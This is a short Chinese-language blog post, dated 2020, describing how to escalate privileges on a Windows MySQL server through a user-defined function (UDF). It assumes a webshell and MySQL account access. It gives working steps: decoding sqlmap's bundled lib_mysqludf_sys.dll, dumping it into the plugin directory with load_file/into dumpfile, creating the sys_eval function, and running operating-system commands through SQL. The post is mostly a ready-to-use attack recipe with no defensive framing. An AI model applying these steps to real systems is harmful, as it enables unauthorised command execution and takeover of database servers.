windows+MYSQL+UDF提权

测试环境windows2008
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限

//sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
//将解码的.dll文件上传到任意目录
select load_file('C:/XXX/lib_mysqludf_sys.dll') into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//支持的函数
sys_eval - executes an arbitrary command, and returns it's output.
sys_exec - executes an arbitrary command, and returns it's exit code.
sys_get - gets the value of an environment variable.
sys_set - create an environment variable, or update the value of an existing environment variable.
//执行命令
select sys_eval('whoami');
posted @ 2020-05-25 09:17  mrhonest  阅读(1455)  评论(0编辑  收藏  举报